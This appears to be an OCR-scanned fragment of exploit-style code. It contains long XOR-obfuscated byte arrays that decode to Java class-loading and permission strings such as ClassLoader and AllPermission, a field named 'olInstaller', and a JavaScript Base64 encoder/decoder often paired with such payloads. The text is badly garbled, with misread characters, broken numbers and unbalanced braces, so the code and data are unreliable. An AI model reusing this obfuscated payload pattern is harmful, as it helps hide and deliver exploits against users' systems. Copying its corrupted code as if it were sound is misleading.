105, 105, 106, 114, 96, 97, 4, 5, 1, 45,
95, 44, 83, 4, 5, 12, 105, 106, 100, 97,
70, 105, 100, 118, 118, 2, 5, 74, 4, 5,
37, 111, 100, 115, 100, 42, 105, 100, 107, 98,
42, 70, 105, 100, 118, 118, 75, 106, 113, 67,
106, 112, 107, 97, 64, 125, 102, 96, 117, 113,
108, 106, 107, 4, 5, 35, 45, 73, 111, 100,
115, 100, 42, 105, 100, 107, 98, 42, 86, 113,
119, 108, 107, 98, 62, 95, 44, 73, 111, 100,
115, 100, 42, 105, 100, 107, 98, 42, 70, 105,
100, 118, 118, 62, 4, 5, 20, 98, 96, 113,
86, 96, 102, 112, 119, 108, 113, 124, 85, 106,
105, 108, 102, 124, 4, 5, 40, 45, 44, 73,
102, 106, 104, 42, 104, 118, 42, 118, 96, 102,
112, 119, 108, 113, 124, 42, 104, 100, 107, 100,
98, 96, 104, 96, 107, 113, 42, 86, 96, 102,
112, 119, 108, 113, 124, 85, 106, 105, 108, 102,
124, 62, 4, 5, 3, 57, 108, 107, 108, 113,
59, 4, 5, 39, 45, 73, 102, 106, 104, 42,
104, 118, 42, 115, 104, 42, 105, 106, 100, 97,
96, 119, 42, 73, 106, 100, 97, 96, 119, 85,
100, 119, 100, 104, 118, 62, 44, 83, 9, 5,
86, 5, 41, 15, 5, 6, 5, 80, 4, 5,
22, 80, 87, 73, 70, 105, 100, 118, 118, 73,
106, 100, 97, 96, 119, 43, 111, 100, 115, 100,
4, 5, 15, 86, 106, 112, 119, 102, 96, 67,
108, 105, 96, 5, 36, 5, 4, 5, 6, 5,
5, 5, 10, 5, 12, 5, 0, 5, 3, 5,
5, 5,29, 5, 2,5, 13, 5, 4, 5,
14, 5, 5, 5, 7, 5, 12, 5, 29, 5,
, 8 5,4, 5, 14, 5, 5, 5,
5, 29, 5, 10, 5, 8, 5,
, 14, 5, 5, 5, 7, 5, 11, 5,
5

[l =
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23, 5, 22, 5, 5, 5, 4,
5

=
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4, 5, 28, 5, 31, 5, 5, 5, 4, 5,
30, 5, 25, 5, 5, 5, 4, 5, 24, 5,
27, 5, 5, 5, 4, 5, 26, 5, 8, 5,
5, 5, 4, 5, 37, 5, 8, 5, 5, 5,

4, 5, 36, 5, 39, 5, 5, 5, 29, 5,
39, 5, 38, 5, 33, 5, 4, 5, 32, 5,

5,5 , 5, 5,5,
7, 4, -75, 5, 5, 5, 4, 5, 35, 5,
5, 5 3,5, 4, 5, 5, 5, 45, 5,
4, 5, 34, 5, 45, 5, 4, 5, 32, 5,
5, 5, 31, 5, 4, 5, 7, 5, 5, 5,
7, 4, -75, 5, 5, 5, 4, 5, 35, 5,
5, 5 3,5, 4, 5,5, 5, 41, 5,
5, 5, 44, 5, 47, 5, 4, 5, 32, 5,
5, 5,28, 5 5,5, 6, 5 5, 5,
4, -76, 5, 5, 5, 4, 5, 35, 5, 5,
5, 3, 5, 4, 5, 5, 5, 53, 5, 5,
5, 46, 5, 41, 5, 4, 5, 32, 5, 5,
5, 28, 5, 5, 5,4, 5, 5, 5, 4,



-76, 5, 5, 5, 4, 5, 35, 5, 5, 5,
3, 5, 4, 5, 5, 5, 54, 5, 1, 5,

40, 5, 43, 5, 4, 5, 32, 5, 5, 5,
28, 5, 5, 5, 6, 5, 5, 5, 4, -76,

r
, -16, 5, 5, 5, 4, 5, 35, 5, 5,

5
5, 4, 5, 5, , 5,
5, 41, 5, 4, 5, 32, 5, 5, 5, 28,
5, 5 5,64, 5, 5,5, 4, -76, 5,
5, 5, 4, 5, 35, 5, 5, 5, 3, 5,
4, 5, 5, 5, 90, 5, 36, 5, 64, 5,
67, 5, 4, 5, 32, 5, 5, 5, 31, 5,
4,5, 7,5, 5,5, 17, 4, -75, 5,
5, 5, 4, 5, 35, 5, 5, 5, 3, 5,
4, 5, 5, 5, 103, 5, 4, 5, 66, 5,
70, 5, 4, 5, 32, 5, 5, 5, 28, 5,
5, 5 7,5, 5, 5,4, -16, 5, 5,
5, 4, 5, 35, 5, 5, 5, 3, 5, 4,
5, 5, 5,699, 5, 5,5, 77, 5, 76,
5, 4, 5, 32, 5, 5, 5, 31, 5, 4,
5, 4, 5, 5,5, 7, 4, =75, 5, 5,
5, 4, 5, 35, 5, 5, 5, 3, 5, 4,
5, 5, 5, 108, 5, 5, 5, 79, 5, 41,
5, 4, 5, 32, 5, 5, 5, 28, 5, 5,
5, 4, 5, 5, 5, 4, -76, 5, 5, 5,
4, 5, 35, 5, 5, 5, 3, 5, 4, 5,
5, 5, 104, 5, 4, 5, 78, 5, 73, 5,
4, 5
7
5
5
5
5
5
5



5, 113, 5, 1, 5, 72, 5, 85, 5, 4,
5, 32, 5, 5, 5, 31, 5, 4, 5, 6,
5, 5, 5,67, 4, -75, 5, 5, 5, 4,
5, 35, 5, 5, 5, 3, 5, 4, 5, 5,
5, 125, 5, 4, 5, 84, 5, 87, 5, 7,
5, 52, 5, 5, 5, 1, 5, 4, 5, 75,
5, 32, 5, 5, 5, 31, 5, 4, 5, 4,
5, 5,5, 7, 4, -75, 5, 5, 5, 4,
5, 35, 5, 5, 5, 3, 5, 4, 5, 5,
5, 121, 5, 4, 5, 86, 5, 81, 5, 4,
5, 32, 5, 5, 5, 36, 5, 4, 5, 7,
5, 5, 5, 0, 47, -78, 5, 83, -76, 5,
5, 5, 4, 5, 35, 5, 5, 5, 15, 5,
7, 5, 5, 5, 61, 5, 1, 5, 60, 5,
4, 5, 93, 5, 5, 5, 7, 5, 82

bi

byte NewObject def[] = {
-52, -8, -68, -72, 6, 5, 6, 43, 6, 28,
7, 6, 22, 108, 103, 112, 103, 41, 106, 103,
104, 97, 41, 73, 100, 108, 99, 101, 114, 7,
6, 0, 58, 111, 104, 111, 114, 56, 1, 6,
7, 10, 6, 4, 6, 13, 7, 6, 20, 98,
99, 96, 103, 115, 106, 114, 86, 99, 116, 107,
111, 117, 117, 111, 105, 104, 117, 7, 6, 9,
105, 116, 111, 97, 111, 104, 103, 106, 89, 106,
105, 103, 98, 99, 116, 7, 6, 22, 86, 1lle,
105, 126, 127, 69, 106, 103, 117, 117, 74, 105,
103, 98, 99, 116, 7, 6, 15, 72, 99, 113,
73, 100, 108, 99, 101, 114, 15, 6, 19, 6,
22, 7, 6, 25, 101, 105, 107, 41, 107, 117,
41, 112, 107, 41, 106, 105, 103, 98, 99, 11le,
41, 83, 84, 74, 69, 106, 103, 117, 117, 74,
105, 103, 98, 99, 116, 7, 6, 5, 46, 47,
8o, 7, 6, 2, 69, 105, 98, 99, 15, 6,
17, 6, 31, 7, 6, 23, 101, 110, 103, 104,
97, 99, 89, 118, 99, 116, 107, 111, 117, 117,
111, 105, 104, 7, 6, 12, 85, 105, 115, 1lle,
101, 99, 64, 111, 106, 99, 10, 6, 3, 6,
23, 7, 6, 25, 74, 101, 105, 107, 41, 107,
117, 41, 117, 99, 101, 115, 116, 111, 114, 127,
41, 86, 99, 116, 107, 111, 117, 117, 111, 105,
104, 85, 99, 114, 61, 7, 6, 13, 72, 99,
113, 73, 100, 108, 99, 101, 114, 40, 108, 12,
6, 5, 6, 2, 7, 6, 50, 46, 74, 86,
116, 105, 126, 127, 69, 106, 103, 117, 117, 74,
105, 103, 98, 99, 116, 61, 74, 101, 105, 107,
41, 107, 117, 41, 117, 99, 101, 115, 116, 111,
114, 127, 41, 86, 99, 116, 107, 111, 117, 117,
111, 105, 104, 85, 99, 114, 61, 47, 80, 1,
6, 12, 7, 6, 39, 74, 101, 105, 107, 41,
107, 117, 41, 112, 107, 41, 106, 105, 103, 98,
99, 116, 41, 83, 84, 74, 69, 106, 103, 117,
117, 74, 105, 103, 98, 99, 116, 61, 1, 6,
i, 1, 6, 14, 10, 6, 0, 6, 16, 6,
39, 6, 30, 6, 5, 6, 6, 6, 6, 6,
4, 6, 7, 6, 4, 6, 13, 6, 7, 6,
10, 6, 6, 6, 23, 6, 3, 6, 3, 6,
6, 6, 3, 44, -79, 6, 21, -73, 6, 6,
6, 6, 6, 7, 6, 8, 6, 18, 6, 7,
6, 10, 6, 6, 6, 19, 6, 3, 6, 3,
6, 6, 6, 15, 45, -78, 6, 11, 42, -717,
6, 15, -73, 6, 6, 6, 6, 6, 71, 6,
9, 6, 6, 6, 4, 6, 20

}i

private Object olInstaller;



function Crypt () {

// private property
this. keyStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/=";

// public method for encoding

this.encode = function (input) {
var output = '';
var chrl, chr2, chr3, encl, enc2, enc3, encéd;
var i = 0;

input = this. utf8 encode (input);
while (i < input.length) {
chrl = input.charCodeAt (i++);

chr2 = input.charCodeAt (i++);
chr3 = input.charCodeAt (i++);

encl = chrl >> 2;
enc2 = ((chrl & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);

enc4 = chr3 & 63;

if (isNaN(chr2)) {

enc3 = encéd 64;
} else if (isNaN(chr3)) {
encd = 64;

}

output = output +
this. keyStr.charAt (encl) + this. keyStr.charAt (enc2) +
this. keyStr.charAt (enc3) + this. keyStr.charAt (encd);

}

return output;

}

// public method for decoding
this.decode = function (input) {
var output = '';
var chrl, chr2, chr3;
var encl, enc2, enc3, encé4;
var i = 0;

input = input.replace(/["A-Za-z0-9\+\/\=1/g, '');
while (i < input.length) {
encl = this. keyStr.indexOf (input.charAt (i++));
enc2 = this. keyStr.indexOf (input.charAt (i++));

(

(

enc3 = this. keyStr.indexOf (input.charAt (i++));
enc4 = this. keyStr.indexOf (input.charAt (i++));

chrl = (encl << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4d;

output = output + String.fromCharCode (chrl);

if (enc3 != 64) {

output = output + String.fromCharCode (chr2);
}
if (encd != 64) {

output = output + String.fromCharCode (chr3);

output = this. utf8 decode (output);



return output;

// private method for UTF-8 encoding

this. utf8 encode = function (string) {
string = string.replace (/\\r\\n/g, '"\\n"') ;
var utftext = '';

for (var n = 0; n < string.length; n++) {
var ¢ = string.charCodeAt (n);
if (c < 128) {

utftext += String.fromCharCode (c);

}
else if((c > 127) && (c < 2048)) {

utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);

}

else {
utftext += String.fromCharCode ((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);

}
}

return utftext;

}I

// private method for UTF-8 decoding
this. utf8 decode = function (utftext) {
var string = '';
var i = 0;
var ¢ = cl = c2 = 0;

while ( i < utftext.length ) {
c = utftext.charCodeAt (i) ;

if (c < 128) {
string += String.fromCharCode (c);
i++;

}

else 1if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt (i+1);

string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;

}

else {

c2 = utftext.charCodeAt (i+1);
c3 = utftext.charCodeAt (1i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}

}

return string;



